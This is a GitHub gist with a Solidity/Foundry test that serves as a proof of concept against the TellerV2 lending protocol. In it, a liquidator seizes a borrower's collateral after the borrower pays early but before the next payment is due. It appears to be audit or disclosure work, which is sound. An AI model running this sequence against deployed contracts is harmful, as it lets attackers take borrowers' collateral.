Created
April 22, 2023 14:23
-
-
Save bzpassersby/cd1faaefb9b8c846588a81c56cd3d685 to your computer and use it in GitHub Desktop.
This is a proof of concept showing how a user who pays early on a loan payment could have their loan liquidated before the next payment due date.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: Unlicense | |
pragma solidity ^0.8.13; | |
import "forge-std/Test.sol"; | |
import "../contracts/TellerV2.sol"; | |
import "../contracts/TellerV2Storage.sol"; | |
import "../contracts/interfaces/IMarketRegistry.sol"; | |
import "../contracts/interfaces/IReputationManager.sol"; | |
import {ReputationManager} from "../contracts/ReputationManager.sol"; | |
import {MarketRegistry} from "../contracts/MarketRegistry.sol"; | |
import {LenderManager} from "../contracts/LenderManager.sol"; | |
import "../contracts/CollateralManager.sol"; | |
import "../contracts/mock/WethMock.sol"; | |
import "../contracts/LenderCommitmentForwarder.sol"; | |
import "../../contracts/escrow/CollateralEscrowV1.sol"; | |
import "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol"; | |
import {Collateral} from "../../contracts/interfaces/escrow/ICollateralEscrowV1.sol"; | |
import "./tokens/TestERC20Token.sol"; | |
contract Borrower { | |
WethMock private weth; | |
TellerV2 private tellerV2; | |
TestERC20Token private daiMock; | |
CollateralManager private collateralManager; | |
constructor( | |
address _weth, | |
address _daiMock, | |
address _tellerV2, | |
address _collateralManager | |
) { | |
weth = WethMock(_weth); | |
daiMock = TestERC20Token(_daiMock); | |
tellerV2 = TellerV2(_tellerV2); | |
collateralManager = CollateralManager(_collateralManager); | |
} | |
function submitBidwithCollateral() external returns (uint256 bidId) { | |
Collateral memory info; | |
info._amount = 203827 ether; //Roughly 110 ETH worth of DAI (1 ETH = 1852 USD) | |
info._tokenId = 0; | |
info._collateralType = CollateralType.ERC20; | |
info._collateralAddress = address(daiMock); | |
Collateral[] memory collateralInfo = new Collateral[](1); | |
collateralInfo[0] = info; | |
daiMock.approve(address(collateralManager), 203827 ether); | |
bidId = tellerV2.submitBid( | |
address(weth), // lending token | |
1, // market ID | |
100 ether, // principal | |
14 days, // duration | |
500, // interest rate | |
"", // metadata URI | |
address(this), // receiver | |
collateralInfo | |
); | |
} | |
function repayLoanMin(uint256 loanId) external { | |
weth.approve(address(tellerV2), 110 ether); | |
tellerV2.repayLoanMinimum(loanId); | |
} | |
} | |
contract Lender { | |
WethMock private weth; | |
TellerV2 private tellerV2; | |
constructor(address _weth, address _tellerV2) { | |
weth = WethMock(_weth); | |
tellerV2 = TellerV2(_tellerV2); | |
} | |
function acceptBid( | |
uint256 bidId | |
) | |
external | |
returns ( | |
uint256 amountToProtocol, | |
uint256 amountToMarketplace, | |
uint256 amountToBorrower | |
) | |
{ | |
weth.approve(address(tellerV2), 110 ether); | |
(amountToProtocol, amountToMarketplace, amountToBorrower) = tellerV2 | |
.lenderAcceptBid(bidId); | |
} | |
} | |
contract Liquidater { | |
WethMock private weth; | |
TellerV2 private tellerV2; | |
constructor(address _weth, address _tellerV2) { | |
weth = WethMock(_weth); | |
tellerV2 = TellerV2(_tellerV2); | |
} | |
function liquidateBid( | |
uint256 bidId | |
) | |
external | |
returns ( | |
uint256 amountToProtocol, | |
uint256 amountToMarketplace, | |
uint256 amountToBorrower | |
) | |
{ | |
weth.approve(address(tellerV2), 110 ether); | |
tellerV2.liquidateLoanFull(bidId); | |
} | |
} | |
contract PrematureLiquidationUserTest is Test { | |
WethMock private weth; | |
Borrower private borrower; | |
TestERC20Token private daiMock; | |
Lender private lender; | |
Liquidater private liquidater; | |
TellerV2 private tellerV2; | |
function setUp() public { | |
weth = new WethMock(); | |
daiMock = new TestERC20Token("Dai", "DAI", 1000000 ether, 18); | |
tellerV2 = new TellerV2(address(0)); | |
weth.deposit{value: 500 ether}(); | |
// Deploy MarketRegistry & ReputationManager | |
IMarketRegistry marketRegistry = IMarketRegistry(new MarketRegistry()); | |
IReputationManager reputationManager = IReputationManager( | |
new ReputationManager() | |
); | |
reputationManager.initialize(address(tellerV2)); | |
// Deploy Escrow beacon | |
CollateralEscrowV1 escrowImplementation = new CollateralEscrowV1(); | |
UpgradeableBeacon escrowBeacon = new UpgradeableBeacon( | |
address(escrowImplementation) | |
); | |
// Deploy Collateral manager | |
CollateralManager collateralManager = new CollateralManager(); | |
collateralManager.initialize(address(escrowBeacon), address(tellerV2)); //// for this testing purpose, escrowBeacon is not used and set to address(0) for simplicity | |
LenderManager lenderManager = new LenderManager((marketRegistry)); | |
borrower = new Borrower( | |
address(weth), | |
address(daiMock), | |
address(tellerV2), | |
address(collateralManager) | |
); | |
lender = new Lender(address(weth), address(tellerV2)); | |
liquidater = new Liquidater(address(weth), address(tellerV2)); | |
// Deploy LenderCommitmentForwarder | |
LenderCommitmentForwarder lenderCommitmentForwarder = new LenderCommitmentForwarder( | |
address(tellerV2), | |
address(marketRegistry) | |
); | |
// Initialize protocol | |
tellerV2.initialize( | |
50, | |
address(marketRegistry), | |
address(reputationManager), | |
address(lenderCommitmentForwarder), | |
address(collateralManager), | |
address(lenderManager) | |
); | |
// Create a market | |
marketRegistry.createMarket( | |
address(this), //user role: market owner | |
3 days, //paymentCycleDuration | |
3 days, //paymentDefaultDuration > paymentCycleDuration-LIQUIDATION_DELAY(1 day) | |
5000, //bid expiration time | |
500, //fee precent | |
false, // requireLenderAttestation | |
false, // requireBorrowerAttestation | |
PaymentType.EMI, // payment type | |
PaymentCycleType.Seconds, // payment cycle Type | |
"uri://" | |
); | |
weth.transfer(address(lender), 110 ether); | |
weth.transfer(address(liquidater), 110 ether); | |
daiMock.transfer(address(borrower), 203827 ether); | |
} | |
function test_Early_Liquidate_User() public { | |
require(daiMock.balanceOf(address(borrower)) == 203827 ether); //// Borrower starts with 203827 DAI as Collateral | |
require(weth.balanceOf(address(borrower)) == 0); //// Borrower starts with no wEth funds | |
require(weth.balanceOf(address(liquidater)) == 110 ether); //// Liquidator starts with 110 funds | |
// Borrower creates a bid | |
uint bidId = borrower.submitBidwithCollateral(); | |
// Lender accepts the bid | |
( | |
uint256 amountToProtocol, | |
uint256 amountToMarketplace, | |
uint256 amountToBorrower | |
) = lender.acceptBid(bidId); | |
require(amountToBorrower != 0, "Lending failed"); | |
console.log(amountToBorrower); | |
//logs: 94500000000000000000 | |
require(weth.balanceOf(address(borrower)) == amountToBorrower); /// Borrower should have the funds | |
uint lastRepaidTimestamp = block.timestamp; | |
// Check if payment is late | |
require(!tellerV2.isPaymentLate(bidId)); //// no payment is required yet, user is not late on payment | |
skip(3600 * 1); | |
// User make first payment | |
borrower.repayLoanMin(bidId); | |
// Fast forward 5 days | |
skip(3600 * 24 * 5); | |
// Check if payment is late | |
require(!tellerV2.isPaymentLate(bidId)); //// no payment is required yet, user is not late on payment | |
// Liquidater liquidates the bid before payment is required | |
liquidater.liquidateBid(bidId); | |
assertEq( | |
weth.balanceOf(address(liquidater)) < | |
(110 ether - amountToBorrower), | |
true | |
); //// Liquidater paid off principal + interest | |
assertEq(daiMock.balanceOf(address(liquidater)), 203827 ether); //// Liquidater received collateral! | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment